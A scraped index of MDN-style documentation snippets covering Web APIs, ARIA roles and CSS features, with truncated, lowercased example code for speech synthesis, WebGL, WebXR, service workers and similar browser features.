inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } console.log(utterthis.text); synth.speak(utterthis); inputtxt.blur(); } specifications ...
SpeechSynthesisUtterance.voice - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification statu...
SpeechSynthesisUtterance.volume - Web APIs
inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.volume = 0.5; synth.speak(utterthis); inputtxt.blur(); } specifications ...
StaticRange - Web APIs
oke="#d4dde4"/><a xlink:href="/docs/web/api/staticrange" target="_top"><rect x="171" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="226" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">staticrange</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor staticrange() creates a new staticrange object given the staticrangeinit dictionary specifying the default values for its properties.
StorageEstimate.quota - Web APIs
this value is an estimate to help prevent its use for fingerprinting—that is, identifying a device using an amalgamation of the values of seemingly innocuous properties.
StorageEstimate.usage - Web APIs
the value is an estimate because the user agent may use compression, duplication prevention techniques, and other methods to improve storage efficiency.
StorageEstimate - Web APIs
these values are only estimates for several reasons, including both performance and preventing storage capacity data from being used for fingerprinting purposes.
Using the Storage Access API - Web APIs
}); note that access requests are automatically denied unless the embedded content is currently processing a user gesture such as a tap or click — so this code needs to be run inside some kind of user gesture-based event handler, for example: btn.addeventlistener('click', () => { // run code here }); ...
Storage Access API - Web APIs
this also prevents embedded content on the page from spamming the browser or user with excessive access requests.
StylePropertyMap - Web APIs
n meet"><a xlink:href="/docs/web/api/stylepropertymap" target="_top"><rect x="1" y="1" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">stylepropertymap</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, stylepropertymapreadonly.
StyleSheet.disabled - Web APIs
the disabled property of the stylesheet interface determines whether the style sheet is prevented from applying to the document.
TaskAttributionTiming - Web APIs
ink:href="/docs/web/api/taskattributiontiming" target="_top"><rect x="201" y="1" width="210" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="306" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">taskattributiontiming</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties taskattributiontiming.containertype read only returns the type of frame container, one of iframe, embed, or object.
TextDecoder.prototype.encoding - Web APIs
it is used to prevent attacks that mismatch encodings between the client and server.
TextEncoder.prototype.encodeInto() - Web APIs
if your wasm program uses c strings, it's your responsibility to write the 0x00 sentinel and you can't prevent your wasm program from seeing a logically truncated string if the javascript string contained u+0000.
TouchList.identifiedTouch() - Web APIs
this api was removed from the touch events v2 draft specification.
TransformStream - Web APIs
let responses = [ /* conjoined response tree */ ] let {readable, writable} = new transformstream responses.reduce( (a, res, i, arr) => a.then(() => res.pipeto(writable, {preventclose: (i+1) !== arr.length})), promise.resolve() ) note that this is not resilient to other influences.
USB.onconnect - Web APIs
WebAPIUSBonconnect
the onconnect property of the usb interface is an event handler called whenever a paired device is connected.
USB.ondisconnect - Web APIs
WebAPIUSBondisconnect
the ondisconnect property of the usb is an event handler called whenever a paired device is disconnected.
VTTCue - Web APIs
WebAPIVTTCue
example html <video controls src="https://udn.realityripple.com/samples/c6/f8a3489533.webm"></video> css video { width: 320px; height: 180px; } javascript let video = document.queryselector('video'); video.addeventlistener('loadedmetadata', () => { const track = video.addtexttrack("captions", "简体中文subtitles", "zh_cn"); track.mode = "showing"; const cuecn = new vttcue(0, 2.500, '字幕会在0至2.5秒间显示'); track.addcue(cuecn); const cueen = new vttcue(2.6, 4, 'subtitles will display between 2.6 and 4 seconds'); track.addcue(cueen); }); result chrome: please open in jsfiddle...
ValidityState - Web APIs
note: this property is never true in gecko, because elements' values are prevented from being longer than maxlength.
WEBGL_lose_context.loseContext() - Web APIs
syntax gl.getextension('webgl_lose_context').losecontext(); examples with this method, you can simulate the webglcontextlost event: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextlost', function(e) { console.log(e); }, false); gl.getextension('webgl_lose_context').losecontext(); // webglcontextevent event with type "webglcontextlost" is logged.
WEBGL_lose_context.restoreContext() - Web APIs
examples with this method, you can simulate the webglcontextrestored event: var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextrestored', function(e) { console.log(e); }, false); gl.getextension('webgl_lose_context').restorecontext(); specifications specification status comment webgl_lose_contextthe definition of 'webgl_lose_context.losecontext' in that specification.
WEBGL_lose_context - Web APIs
examples with this extension, you can simulate the webglcontextlost and webglcontextrestored events: const canvas = document.getelementbyid('canvas'); const gl = canvas.getcontext('webgl'); canvas.addeventlistener('webglcontextlost', (event) => { console.log(event); }); gl.getextension('webgl_lose_context').losecontext(); // webglcontextevent event with type "webglcontextlost" is logged.
WakeLock.request() - Web APIs
WebAPIWakeLockrequest
prevents devices from dimming or locking the screen.
WakeLock - Web APIs
WebAPIWakeLock
the wakelock interface of the screen wake lock api prevents device screens from dimming or locking when an application needs to keep running.
WakeLockSentinel.type - Web APIs
prevents devices from dimming or locking the screen.
WebGLRenderingContext - Web APIs
<p>compare the two canvases.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : inline-block; width : 120px; height : 80px; margin : auto; padding : 0; border : none; background-color : black; } window.addeventlistener("load", function() { "use strict" var firstcanvas = document.getelementsbytagname("canvas")[0], secondcanvas = document.getelementsbytagname("canvas")[1]; firstcanvas.width = firstcanvas.clientwidth; firstcanvas.height = firstcanvas.clientheight; [firstcanvas, secondcanvas].foreach(function(canvas) { var gl = canvas.getcontext("webgl") || canvas.getcontext("experim...
A basic 2D WebGL animation example - Web APIs
let uscalingfactor; let uglobalcolor; let urotationvector; let avertexposition; // animation timing let previoustime = 0.0; let degreespersecond = 90.0; initializing the program is handled through a load event handler called startup(): window.addeventlistener("load", startup, false); function startup() { glcanvas = document.getelementbyid("glcanvas"); gl = glcanvas.getcontext("webgl"); const shaderset = [ { type: gl.vertex_shader, id: "vertex-shader" }, { type: gl.fragment_shader, id: "fragment-shader" } ]; shaderprogram = buildshaderprogram(shaders...
Basic scissoring - Web APIs
<p>result of of scissoring.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } window.addeventlistener("load", function setupwebgl (evt) { "use strict" window.removeeventlistener(evt.type, setupwebgl, false); var paragraph = document.queryselector("p"); var canvas = document.queryselector("canvas"); // the following two lines set the size (in css pixels) of // the drawing buffer to be identical to the size of the // canvas html element, as determined by css.
Canvas size and WebGL - Web APIs
<p>compare the two canvases.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : inline-block; width : 120px; height : 80px; margin : auto; padding : 0; border : none; background-color : black; } window.addeventlistener("load", function() { "use strict" var firstcanvas = document.getelementsbytagname("canvas")[0], secondcanvas = document.getelementsbytagname("canvas")[1]; firstcanvas.width = firstcanvas.clientwidth; firstcanvas.height = firstcanvas.clientheight; [firstcanvas, secondcanvas].foreach(function(canvas) { var gl = canvas.getcontext("webgl") || canvas.getcontext("experim...
Hello GLSL - Web APIs
ize : inherit; margin : auto; padding : 0.6em; } <script type="x-shader/x-vertex" id="vertex-shader"> #version 100 void main() { gl_position = vec4(0.0, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 void main() { gl_fragcolor = vec4(0.18, 0.54, 0.34, 1.0); } </script> ;(function(){ "use strict" window.addeventlistener("load", setupwebgl, false); var gl, program; function setupwebgl (evt) { window.removeeventlistener(evt.type, setupwebgl, false); if (!(gl = getrenderingcontext())) return; var source = document.queryselector("#vertex-shader").innerhtml; var vertexshader = gl.createshader(gl.vertex_shader); gl.shadersource(vertexshader,source); gl.compileshader(vertexshader); source =...
Textures from code - Web APIs
</script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 precision mediump float; void main() { vec2 fragmentposition = 2.0*gl_pointcoord - 1.0; float distance = length(fragmentposition); float distancesqrd = distance * distance; gl_fragcolor = vec4( 0.2/distancesqrd, 0.1/distancesqrd, 0.0, 1.0 ); } </script> ;(function(){ "use strict" window.addeventlistener("load", setupwebgl, false); var gl, program; function setupwebgl (evt) { window.removeeventlistener(evt.type, setupwebgl, false); if (!(gl = getrenderingcontext())) return; var source = document.queryselector("#vertex-shader").innerhtml; var vertexshader = gl.createshader(gl.vertex_shader); gl.shadersource(vertexshader,source); gl.compileshader(vertexshader); source =...
WebGL model view projection - Web APIs
see perspective projection matrix below for an introduction to how to use more complex matrices to help control and prevent clipping.
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
this triggers renegotiation of the rtcpeerconnection by sending it a negotiationneeded event, which your code responds to generating an sdp offer using rtcpeerconnection.createoffer and sending it through the signaling server to the remote peer.
WebRTC Statistics API - Web APIs
try { mypeerconnection = new rtcpeerconnection(pcoptions); statsinterval = window.setinterval(getconnectionstats, 1000); /* add event handlers, etc */ } catch(err) { console.error("error creating rtcpeerconnection: " + err); } function getconnectionstats() { mypeerconnection.getstats(null).then(stats => { var statsoutput = ""; stats.foreach(report => { if (report.type === "inbound-rtp" && report.kind === "video") { object.keys(report).foreach(statname => { statsoutput += `<strong>${statname...
WebSocket.close() - Web APIs
WebAPIWebSocketclose
see the list of status codes of closeevent for permitted values.
Writing a WebSocket server in C# - Web APIs
tarea> <button>send</button> <div id=output></div> <script> // http://www.websocket.org/echo.html var button = document.queryselector("button"), output = document.queryselector("#output"), textarea = document.queryselector("textarea"), // wsuri = "ws://echo.websocket.org/", wsuri = "ws://127.0.0.1/", websocket = new websocket(wsuri); button.addeventlistener("click", onclickbutton); websocket.onopen = function (e) { writetoscreen("connected"); dosend("websocket rocks"); }; websocket.onclose = function (e) { writetoscreen("disconnected"); }; websocket.onmessage = function (e) { writetoscreen("<span>response: " + e.data + "</span>"); }; websocket.onerror = function (e) { wr...
Writing WebSocket servers - Web APIs
the recipient will eventually be able to get the same data as your local copy, but it is sent differently.
Using bounded reference spaces - Web APIs
you can create a session that supports a bounded-floor reference space if available by using code such as the following: async function onactivatexrbutton(event) { if (!xrsession) { navgator.xr.requestsession("immersive-vr"), { requiredfeatures: ["local-floor"], optionalfeatures: ["bounded-floor"] }).then((session) => { xrsession = session; startsessionanimation(); }); } } this function, called when the user clicks on a button to start the xr experience, works as usual, exiting at once if a session is already in ...
Fundamentals of WebXR - Web APIs
in webxr, the primary select and squeeze actions are directly supported using events, while other controls are available through a special webxr-specific implementation of the gamepad object.
WebXR application life cycle - Web APIs
include a handler for the xrsession event end event to be informed when the session is ending, regardless of whether your code, the user, or the browser initiated the termination of the session.
Lighting a WebXR setting - Web APIs
ambient light is commonly present simply to prevent shadowed areas from becoming too dark, although it affects the entire scene; however, the amount of ambient light in a scene should be very low.
Rendering and the WebXR frame animation callback - Web APIs
when the loop that's iterating over the views ends, every image required to represent the scene to the viewer has been rendered, and upon return, the framebuffer makes its way through the gpu and eventually to the xr device's display or displays.
Web Animations API - Web APIs
animationevent actually part of css animations.
Basic concepts behind Web Audio API - Web APIs
establish connections from the audio sources through zero or more effects, eventually ending at the chosen destination.
Background audio processing using AudioWorklet - Web APIs
each sample is added to the corresponding sample in the output buffer, with a simple code fragment in place to prevent the samples from exceeding the legal range of -1.0 to 1.0 by capping the values; there are other ways to avoid clipping that are perhaps less prone to distortion, but this is a simple example that's better than nothing.
Visualizations with Web Audio API - Web APIs
for each one, we make the barheight equal to the array value, set a fill colour based on the barheight (taller bars are brighter), and draw a bar at x pixels across the canvas, which is barwidth wide and barheight/2 tall (we eventually decided to cut each bar in half so they would all fit on the canvas better.) the one value that needs explaining is the vertical offset position we are drawing each bar at: height-barheight/2.
Web Authentication API - Web APIs
credentialscontainer exposes methods to request credentials and notify the user agent when events such as successful sign in or sign out happen.
Window.alert() - Web APIs
WebAPIWindowalert
the following text is shared between this article, dom:window.prompt and dom:window.confirm dialog boxes are modal windows - they prevent the user from accessing the rest of the program's interface until the dialog box is closed.
Window.clearImmediate() - Web APIs
examples let immediateid = setimmediate(() => { // run some code } document.getelementbyid("button") .addeventlistener(() => { clearimmediate(immediateid); }); specifications specification status comment efficient script yielding the definition of 'setimmediate' in that specification.
Window.confirm() - Web APIs
WebAPIWindowconfirm
example if (window.confirm("do you really want to leave?")) { window.open("exit.html", "thanks for visiting!"); } produces: notes the following text is shared between this article, dom:window.prompt and dom:window.alert dialog boxes are modal windows — they prevent the user from accessing the rest of the program's interface until the dialog box is closed.
Window.devicePixelRatio - Web APIs
then the updatepixelratio() function is called once to display the starting value, after which the media query is created using matchmedia() and addeventlistener() is called to set up updatepixelratio() as a handler for the change event.
Window.opener - Web APIs
WebAPIWindowopener
in modern browsers, a rel="noopener noreferrer" attribute on the originating <a> element will prevent the window.opener reference from being set, in which case this property will return null.
Window.pageYOffset - Web APIs
this prevents us from falling off the edge of the document.
Window.prompt() - Web APIs
WebAPIWindowprompt
the following text is shared between this article, dom:window.confirm and dom:window.alert dialog boxes are modal windows; they prevent the user from accessing the rest of the program's interface until the dialog box is closed.
Window.sessionStorage - Web APIs
// get the text field that we're going to track let field = document.getelementbyid("field"); // see if we have an autosave value // (this will only happen if the page is accidentally refreshed) if (sessionstorage.getitem("autosave")) { // restore the contents of the text field field.value = sessionstorage.getitem("autosave"); } // listen for changes in the text field field.addeventlistener("change", function() { // and save the results into the session storage object sessionstorage.setitem("autosave", field.value); }); note: please refer to the using the web storage api article for a full example.
Window.setImmediate() - Web APIs
this method is used to break up long running operations and run a callback function immediately after the browser has completed other operations such as events and display updates.
Window.sizeToContent() - Web APIs
in order for it to work, the dom content should be loaded when this function is called—for example, once the domcontentloaded event has been thrown.
Window.updateCommands() - Web APIs
syntax window.updatecommands("scommandname") parameters scommandname is a particular string which describes what kind of update event this is (e.g.
WindowClient.focus() - Web APIs
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; ...
WindowClient.focused - Web APIs
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if(!client.focused) return client.focus(); } } } if (clients.openwindow) return clients.open...
WindowClient.visibilityState - Web APIs
example event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (let i = 0; i < clientlist.length; i++) { let client = clientlist[i]; if (client.url == '/' && 'focus' in client) { if (client.visibilitystate === 'hidden') return client.focus(); } } } if (clients.openwindow) { return clients.openwindow('/'); } })); }); specifications specification status comment service wor...
WindowClient - Web APIs
example self.addeventlistener('notificationclick', function(event) { console.log('on notification click: ', event.notification.tag); event.notification.close(); // this looks to see if the current is already open and // focuses if it is event.waituntil(clients.matchall({ type: "window" }).then(function(clientlist) { for (var i = 0; i < clientlist.length; i++) { var client = clientlist[i]; ...
WindowOrWorkerGlobalScope.caches - Web APIs
this.addeventlistener('install', function(event) { event.waituntil( caches.open('v1').then(function(cache) { return cache.addall([ '/sw-test/', '/sw-test/index.html', '/sw-test/style.css', '/sw-test/app.js', '/sw-test/image-list.js', '/sw-test/star-wars-logo.jpg', '/sw-test/gallery/', '/sw-test/gallery/bountyhunters.jpg', '/sw-...
Worker.onmessageerror - Web APIs
the onmessageerror event handler of the worker interface is an eventlistener, called whenever an messageevent of type messageerror is fired on the worker instance — that is, when it receives a message that cannot be deserialized.
WorkerGlobalScope.close() - Web APIs
the close() method of the workerglobalscope interface discards any tasks queued in the workerglobalscope's event loop, effectively closing this particular scope.
WorkerGlobalScope.onerror - Web APIs
the onerror property of the workerglobalscope interface represents an eventhandler to be called when the error event occurs and bubbles through the worker.
WorkerGlobalScope.onlanguagechange - Web APIs
the onlanguagechange property of the workerglobalscope interface represents an eventhandler to be called when the languagechange event occurs and bubbles through the worker.
WorkerGlobalScope.onoffline - Web APIs
the onoffline property of the workerglobalscope interface represents an eventhandler to be called when the offline event occurs and bubbles through the worker.
WorkerGlobalScope.ononline - Web APIs
the ononline property of the workerglobalscope interface represents an eventhandler to be called when the online event occurs and bubbles through the worker.
WritableStream.WritableStream() - Web APIs
calling close() too early can prevent data from being written.
WritableStream - Web APIs
calling close() too early can prevent data from being written.
WritableStreamDefaultController.error() - Web APIs
however, it can be useful for suddenly shutting down a stream in response to an event outside the normal lifecycle of interactions with the underlying sink.
XDomainRequest.onerror - Web APIs
an event handler which is called when an xdomainrequest encounters an error.
XDomainRequest.onload - Web APIs
an event handler for when an xdomainrequest has finished receiving the response from the server.
XDomainRequest.responseText - Web APIs
note: this property is valid during the xdomainrequest.onprogress and xdomainrequest.onload events.
XMLDocument.load() - Web APIs
WebAPIXMLDocumentload
examples var xmldoc = document.implementation.createdocument("", "test", null); function documentloaded (e) { alert(new xmlserializer().serializetostring(e.target)); // gives querydata.xml contents as string } xmldoc.addeventlistener("load", documentloaded, false); xmldoc.load('querydata.xml'); see also the load sample in the xml tests directory.
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
print + "\n"); var validity = cert.validity.queryinterface(ci.nsix509certvalidity); dump("\tvalid from " + validity.notbeforegmt + "\n"); dump("\tvalid until " + validity.notaftergmt + "\n"); } } catch(err) { alert(err); } } function test(url) { var req = cc["@mozilla.org/xmlextras/xmlhttprequest;1"].createinstance(); req.open('get', url, true); req.addeventlistener("error", function(e) { var error = createtcperrorfromfailedxhr(req); dumpsecurityinfo(req, error); }, false); req.onload = function(e) { dumpsecurityinfo(req); }; req.send(); } then test("https://addons.mozilla.org"); produced the following output in my console: connection status: succeeded security info: security state: secure ...
XMLHttpRequest.getAllResponseHeaders() - Web APIs
example this example examines the headers in the request's readystatechange event handler, xmlhttprequest.onreadystatechange.
XMLHttpRequest.mozBackgroundRequest - Web APIs
if true, no load group is associated with the request, with security dialogs prevented from being shown to the user.
XMLHttpRequest.open() - Web APIs
if true, notification of a completed transaction is provided using event listeners.
XMLHttpRequest.overrideMimeType() - Web APIs
// interpret the received data as plain text req = new xmlhttprequest(); req.overridemimetype("text/plain"); req.addeventlistener("load", callback, false); req.open("get", url); req.send(); specifications specification status comment xmlhttprequestthe definition of 'overridemimetype()' in that specification.
XMLHttpRequest.response - Web APIs
it works by creating an xmlhttprequest object and creating a listener for readystatechange events such that that when readystate changes to done (4), the response is obtained and passed into the callback function provided to load().
XMLHttpRequest.send() - Web APIs
if the request is asynchronous (which is the default), this method returns as soon as the request is sent and the result is delivered using events.
XMLHttpRequest.timeout - Web APIs
when a timeout happens, a timeout event is fired.
XRBoundedReferenceSpace - Web APIs
the specified bounds may, in fact, describe the shape and size of the room the user is located in, in order to let the webxr site or application prevent the user from colliding with the walls or other obstacles in the real world.
XRFrame - Web APIs
WebAPIXRFrame
events which communicate the tracking state of objects also provide an xrframe reference as part of their structure.
XRRigidTransform() - Web APIs
let animationframerequestid = 0; xrsession.requestreferencespace("local-floor") .then((refspace) => { xrreferencespace = refspace.getoffsetreferencespace( new xrrigidtransform(viewerposition, viewerorientation)); animationframerequestid = xrsession.requestanimationframe(drawframe); }); after requesting a reference space of type local-floor, the returned promise is eventually resolved, at which time we receive a new reference space object, refspace.
XRRigidTransform.position - Web APIs
example to create a reference space which can be used to place an object at eye level (assuming eye level is 1.5 meters): function onsessionstarted(xrsession) { xrsession.addeventlistener("end", onsessionended); gl = initgraphics(xrsession); let gllayer = new xrwebgllayer(xrsession, gl); xrsession.updaterenderstate({ baselayer: gllayer }); if (immersivesession) { xrsession.requestreferencespace("bounded-floor").then((refspace) => { refspacecreated(refspace); }).catch(() => { session.requestreferencespace("local-floor").then(refspacecreated); ...
XRRigidTransform - Web APIs
the xrreferencespaceevent event's transform property, as found in the reset event received by an xrreferencespace.
XRSession.inputSources - Web APIs
usage notes you can add a handler for the xrsession event inputsourceschange to be advised when the contents of the session's connected devices list changes.
XRSession.visibilityState - Web APIs
every time the visibility state changes, a visibilitychange event is fired on the xrsession object.
XRSystem: isSessionSupported() - Web APIs
if (navigator.xr) { navigator.xr.issessionsupported('immersive-vr') .then((issupported) => { if (issupported) { userbutton.addeventlistener('click', onbuttonclicked); userbutton.innerhtml = 'enter xr'; userbutton.disabled = false; } }); } function onbuttonclicked() { if (!xrsession) { navigator.xr.requestsession('immersive-vr') .then((session) => { xrsession = session; // onsessionstarted() not shown for reasons of brevity and clarity.
Using the alertdialog role - Accessibility
fire an accessible alert event using the operating system's accessibility api if it supports it.
Using the article role - Accessibility
possible effects on user agents and assistive technology when the user navigates an element assigned the role of article, assistive technologies that typically intercept standard keyboard events should switch to document browsing mode, as opposed to passing keyboard events through to the web application.
ARIA: alert role - Accessibility
<p role="alert" style="display: none;">the alert will trigger when the element becomes visible.</p> while triggering an alert via css alone is possible, it is better to rely on javascript because it has more browser/screen reader support and is often more appropriate as part of a larger user interaction such as inside an event handler or form validation.
ARIA: application role - Accessibility
set in response to keyboard or other application events that change focus or point of interaction.
ARIA: article role - Accessibility
required javascript features event handlers this role does not require any event handlers to be present.
ARIA: Complementary role - Accessibility
<div role="complementary"> <h2>our partners</h2> <!-- complementary section content --> </div> this is a sidebar containing links to event sponsors.
ARIA: document role - Accessibility
assistive technologies should switch context back to document mode, possibly intercepting from controls rewired for the parent's dynamic context, re-enabling the standard input events, such as up or down arrow keyboard events, to control the reading cursor.
ARIA: form role - Accessibility
keyboard interactions no role specific keyboard interactions required javascript features onsubmit the onsubmit event handler handles the event raised when the form is submitted.
ARIA: dialog role - Accessibility
<p> <label for="interests">interests</label> <textarea id="interests"></textarea> </p> <p> <input type="checkbox" id="autologin"/> <label for="autologin">auto-login?</label> </p> <p> <input type="submit" value="save information"/> </p> </form> </div> working examples: jquery-ui dialog notes note: while it is possible to prevent keyboard users from moving focus to elements outside of the dialog, screen reader users may still be able to navigate to that content using their screen reader's virtual cursor.
ARIA: heading role - Accessibility
required javascript features required event handlers none.
ARIA: listbox role - Accessibility
<p id="listbox1label" role="label">select a color:</p> <div role="listbox" tabindex="0" id="listbox1" aria-labelledby="listbox1label" onclick="return listitemclick(event);" onkeydown="return listitemkeyevent(event);" onkeypress="return listitemkeyevent(event);" aria-activedescendant="listbox1-1"> <div role="option" id="listbox1-1" class="selected" aria-selected="true">green</div> <div role="option" id="listbox1-2">orange</div> <div role="option" id="listbox1-3">red</div> <div role="option" id="listbox1-4">blue</div> <div role="option" id...
Web applications and ARIA FAQ - Accessibility
document.getelementbyid("update-button").addeventlistener("click", function (e) { updateprogress(75); e.preventdefault(); }, false); } initdemo(); how do assistive technologies work?
Text labels and names - Accessibility
interactive elements include links (<a>), form elements, buttons, and any element that has a handler for mouse or keyboard events.
-moz-user-focus - CSS: Cascading Style Sheets
you can stop the textbox from taking keyboard focus by setting its tab index to -1, and from taking mouse focus by preventing the default action of mousedown events.
-webkit-text-stroke-color - CSS: Cascading Style Sheets
-value> = <number> | <percentage><hue> = <number> | <angle> examples varying the stroke color html <p>text with stroke</p> <input type="color" value="#ff0000"> css p { margin: 0; font-size: 4em; -webkit-text-stroke-width: 3px; -webkit-text-stroke-color: #ff0000; /* can be changed in the live sample */ } javascript var colorpicker = document.queryselector("input"); colorpicker.addeventlistener("change", function(evt) { document.queryselector("p").style.webkittextstrokecolor = evt.target.value; }); results specifications specification status comment compatibility standardthe definition of '-webkit-text-stroke-color' in that specification.
:-moz-drag-over - CSS: Cascading Style Sheets
the :-moz-drag-over css pseudo-class is a mozilla extension that matches an element when a dragover event is called on it.
::before (:before) - CSS: Cascading Style Sheets
WebCSS::before
background: lightgrey; font-family: sans-serif; } li.done { background: #ccff99; } li.done::before { content: ''; position: absolute; border-color: #009933; border-style: solid; border-width: 0 0.3em 0.25em 0; height: 1em; top: 1.3em; left: 0.6em; margin-top: -1em; transform: rotate(45deg); width: 0.5em; } javascript var list = document.queryselector('ul'); list.addeventlistener('click', function(ev) { if (ev.target.tagname === 'li') { ev.target.classlist.toggle('done'); } }, false); here is the above code example running live.
::grammar-error - CSS: Cascading Style Sheets
allowable properties only a small subset of css properties can be used in a rule with ::grammar-error in its selector: color background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::grammar-error examples simple document grammar check in this example, eventual supporting browsers should highlight any flagged grammatical errors with the styles shown.
::spelling-error - CSS: Cascading Style Sheets
allowable properties only a small subset of css properties can be used in a rule with ::spelling-error in its selector: color background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::spelling-error examples simple document spell check in this example, eventual supporting browsers should highlight any flagged spelling errors with the styles shown.
:blank - CSS: Cascading Style Sheets
WebCSS:blank
syntax :blank examples simple :blank example in eventual supporting browsers, the :blank pseudo-class will enable developers to highlight in some way input controls that are not required, but still have no content filled in, perhaps as a reminder to users.
:first - CSS: Cascading Style Sheets
WebCSS:first
syntax :first examples html <p>first page.</p> <p>second page.</p> <button>print!</button> css @page :first { margin-left: 50%; margin-top: 50%; } p { page-break-after: always; } javascript document.queryselector("button").addeventlistener('click', () => { window.print(); }); result press the "print!" button to print the example.
:is() (:matches(), :any()) - CSS: Cascading Style Sheets
WebCSS:is
matcheditems = document.queryselectorall(':-webkit-any(header, main, footer) p'); } catch(e) { try { matcheditems = document.queryselectorall(':-moz-any(header, main, footer) p'); } catch(e) { console.log('your browser doesn\'t support :is(), :matches(), or :any()'); } } } } matcheditems.foreach(applyhandler); function applyhandler(elem) { elem.addeventlistener('click', function(e) { alert('this paragraph is inside a ' + e.target.parentnode.nodename); }); } simplifying list selectors the :is() pseudo-class can greatly simplify your css selectors.
:not() - CSS: Cascading Style Sheets
WebCSS:not
since it prevents specific items from being selected, it is known as the negation pseudo-class.
:nth-last-child() - CSS: Cascading Style Sheets
:nth-last-child(7) represents the seventh element, counting from the end.
font-weight - CSS: Cascading Style Sheets
to prevent this, use font-synthesis property.
@media - CSS: Cascading Style Sheets
WebCSS@media
because of this potential, a browser may opt to fudge the returned values in some manner in order to prevent them from being used to precisely identify a computer.
user-zoom - CSS: Cascading Style Sheets
accessibility concerns disabling zooming capabilities prevents people experiencing low vision conditions from being able to read and understand page content.
Handling content breaks in multicol - CSS: Cascading Style Sheets
this property takes values of: auto avoid avoid-page avoid-column avoid-region in the example below, we have applied break-inside to the figure element to prevent the caption from becoming separated from the image.
CSS Containment - CSS: Cascading Style Sheets
the main use case is to prevent situations where a css counter could be changed in an element, which could then affect the rest of the tree.
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
a small item won’t shrink to zero before a larger item has been noticeably reduced.” the second reason is that flexbox prevents small items from shrinking to zero size during this removal of negative free space.
Typical use cases of Flexbox - CSS: Cascading Style Sheets
to prevent the image growing too large, add a max-width to the image.
In Flow and Out of Flow - CSS: Cascading Style Sheets
when you do anything to remove, or shift an item from where it would be placed in normal flow, you can expect to need to do some managing of the content and the content around it to prevent overlaps.
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
they prevent the browser being able to do the work to switch writing mode, as they make the assumption that the text is flowing left to right and top to bottom.
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
one of the very nice things about grid layout is this ability to have white space in our designs without having to push things around using margins to prevent floats from rising up into the space we have left.
Subgrid - CSS: Cascading Style Sheets
no implicit grid in a subgridded dimension if you need to autoplace items, and do not know how many items you will have, take care when creating a subgrid, as it will prevent additional rows being created to hold those items.
Comments - CSS: Cascading Style Sheets
WebCSSComments
a css comment is used to add explanatory notes to the code or to prevent the browser from interpreting specific parts of the style sheet.
Card - CSS: Cascading Style Sheets
when setting up the single column grid i use the following: .card { display: grid; grid-template-rows: max-content 200px 1fr; } the heading track is set to max-content, which prevents it from stretching.
Contribute a recipe - CSS: Cascading Style Sheets
it may see periodical improvements or updates, and may eventually even be cleaned up (and de-archived) for better uxp focus, but for now, it's a historical snapshot for reference, not a living website.
Sticky footers - CSS: Cascading Style Sheets
then we set our main content to flex-grow: 1 and the other two elements to flex-shrink: 0 — this prevents them from shrinking smaller when content fills the main area.
Mozilla CSS extensions - CSS: Cascading Style Sheets
